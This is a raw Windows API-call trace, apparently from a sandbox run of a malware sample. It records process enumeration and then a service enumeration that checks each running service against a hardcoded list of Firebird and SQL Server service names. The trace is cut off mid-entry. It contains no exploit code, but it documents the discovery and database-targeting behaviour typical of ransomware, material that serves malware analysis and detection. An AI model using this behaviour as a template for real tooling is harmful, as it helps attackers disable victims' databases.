dwFlags=0x0, szExeFile="services.exe")) returned 1 [0162.243] lstrlenW (lpString="services.exe") returned 12 [0162.243] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0162.243] lstrlenW (lpString="lsass.exe") returned 9 [0162.243] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0162.244] lstrlenW (lpString="lsm.exe") returned 7 [0162.244] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.244] lstrlenW (lpString="svchost.exe") returned 11 [0162.244] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.244] lstrlenW (lpString="svchost.exe") returned 11 [0162.244] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.245] lstrlenW (lpString="svchost.exe") returned 11 [0162.245] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.245] lstrlenW (lpString="svchost.exe") returned 11 [0162.245] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.245] lstrlenW (lpString="svchost.exe") returned 11 [0162.245] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0162.246] lstrlenW (lpString="audiodg.exe") returned 11 [0162.246] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.246] lstrlenW (lpString="svchost.exe") returned 11 [0162.246] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0162.246] lstrlenW (lpString="explorer.exe") returned 12 [0162.246] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0162.247] lstrlenW (lpString="dwm.exe") returned 7 [0162.247] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.247] lstrlenW (lpString="svchost.exe") returned 11 [0162.247] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0162.247] lstrlenW (lpString="n.exe") returned 5 [0162.247] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0162.248] lstrlenW (lpString="spoolsv.exe") returned 11 [0162.248] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.248] lstrlenW (lpString="svchost.exe") returned 11 [0162.248] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0162.248] lstrlenW (lpString="taskhost.exe") returned 12 [0162.248] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0162.249] lstrlenW (lpString="reader_sl.exe") returned 13 [0162.249] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0162.249] lstrlenW (lpString="n.exe") returned 5 [0162.249] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0162.249] lstrlenW (lpString="dllhost.exe") returned 11 [0162.250] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0162.250] lstrlenW (lpString="n.exe") returned 5 [0162.250] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0162.250] CloseHandle (hObject=0x2e0) returned 1 [0162.250] Sleep (dwMilliseconds=0x1f4) [0162.934] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3bf5d60 [0162.941] EnumServicesStatusExW (in: hSCManager=0x3bf5d60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0162.941] GetLastError () returned 0xea [0162.943] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x3bf64f8 [0162.953] EnumServicesStatusExW (in: hSCManager=0x3bf5d60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3bf64f8, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3bf64f8, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0162.965] CloseServiceHandle (hSCObject=0x3bf5d60) returned 1 [0162.970] lstrlenW (lpString="Appinfo") returned 7 [0162.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0162.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0162.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0162.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0162.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0162.979] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0162.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0162.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0162.980] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0162.980] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0162.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0162.980] lstrlenW (lpString="AudioSrv") returned 8 [0162.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0162.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0162.984] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0162.984] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0162.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0162.984] lstrlenW (lpString="BFE") returned 3 [0162.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0162.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0162.984] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0162.984] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0162.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0162.984] lstrlenW (lpString="CryptSvc") returned 8 [0162.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0162.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0162.984] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0162.984] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0162.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0162.984] lstrlenW (lpString="CscService") returned 10 [0162.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0162.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0162.984] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0162.984] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0162.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0162.984] lstrlenW (lpString="DcomLaunch") returned 10 [0162.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0162.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0162.984] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0162.984] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0162.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0162.984] lstrlenW (lpString="Dhcp") returned 4 [0162.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0162.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0162.984] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0162.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0162.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0162.985] lstrlenW (lpString="Dnscache") returned 8 [0162.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0162.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0162.985] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0162.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0162.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0162.985] lstrlenW (lpString="DPS") returned 3 [0162.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0162.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0162.985] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0162.985] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0162.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0162.985] lstrlenW (lpString="eventlog") returned 8 [0162.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0162.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0162.985] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0162.985] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0162.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0162.985] lstrlenW (lpString="EventSystem") returned 11 [0162.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0162.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0162.985] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0162.985] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0162.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0162.985] lstrlenW (lpString="gpsvc") returned 5 [0162.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0162.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0162.985] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0162.986] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0162.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0162.986] lstrlenW (lpString="iphlpsvc") returned 8 [0162.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0162.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0162.986] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0162.986] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0162.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0162.986] lstrlenW (lpString="LanmanServer") returned 12 [0162.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0162.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0162.986] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0162.986] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0162.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0162.986] lstrlenW (lpString="LanmanWorkstation") returned 17 [0162.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0162.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0162.986] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0162.986] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0162.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0162.986] lstrlenW (lpString="lmhosts") returned 7 [0162.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0162.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0162.986] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0162.986] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0162.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0162.986] lstrlenW (lpString="MMCSS") returned 5 [0162.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0162.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0162.986] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0162.986] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0162.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0162.987] lstrlenW (lpString="MpsSvc") returned 6 [0162.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0162.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0162.987] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0162.987] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0162.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0162.987] lstrlenW (lpString="Netman") returned 6 [0162.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0162.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0162.987] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0162.987] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0162.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0162.987] lstrlenW (lpString="netprofm") returned 8 [0162.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0162.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0162.987] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0162.987] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0162.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0162.987] lstrlenW (lpString="NlaSvc") returned 6 [0162.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0162.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0162.987] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0162.987] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0162.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0162.987] lstrlenW (lpString="nsi") returned 3 [0162.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0162.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0162.987] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0162.987] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0162.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0162.987] lstrlenW (lpString="PcaSvc") returned 6 [0162.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0162.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0162.988] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0162.988] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0162.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0162.988] lstrlenW (lpString="PlugPlay") returned 8 [0162.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0162.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0162.988] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0162.988] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0162.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0162.988] lstrlenW (lpString="Power") returned 5 [0162.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0162.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0162.988] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0162.988] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0162.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0162.988] lstrlenW (lpString="ProfSvc") returned 7 [0162.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0162.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0162.988] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0162.988] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0162.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0162.988] lstrlenW (lpString="RpcEptMapper") returned 12 [0162.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.988] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0162.988] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0162.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0162.988] lstrlenW (lpString="RpcSs") returned 5 [0162.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0162.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0162.989] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0162.989] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0162.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0162.989] lstrlenW (lpString="SamSs") returned 5 [0162.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0162.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0162.989] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0162.989] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0162.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0162.989] lstrlenW (lpString="Schedule") returned 8 [0162.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0162.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0162.989] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0162.989] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0162.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0162.989] lstrlenW (lpString="SENS") returned 4 [0162.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0162.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0162.989] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0162.989] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0162.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0162.989] lstrlenW (lpString="ShellHWDetection") returned 16 [0162.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.989] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0162.989] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0162.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0162.989] lstrlenW (lpString="Spooler") returned 7 [0162.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0162.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0162.990] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0162.990] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0162.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0162.990] lstrlenW (lpString="SysMain") returned 7 [0162.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0162.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0162.990] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0162.990] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0162.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0162.990] lstrlenW (lpString="Themes") returned 6 [0162.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0162.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0162.990] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0162.990] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0162.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0162.990] lstrlenW (lpString="TrkWks") returned 6 [0162.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0162.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0162.990] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0162.990] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0162.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0162.990] lstrlenW (lpString="UxSms") returned 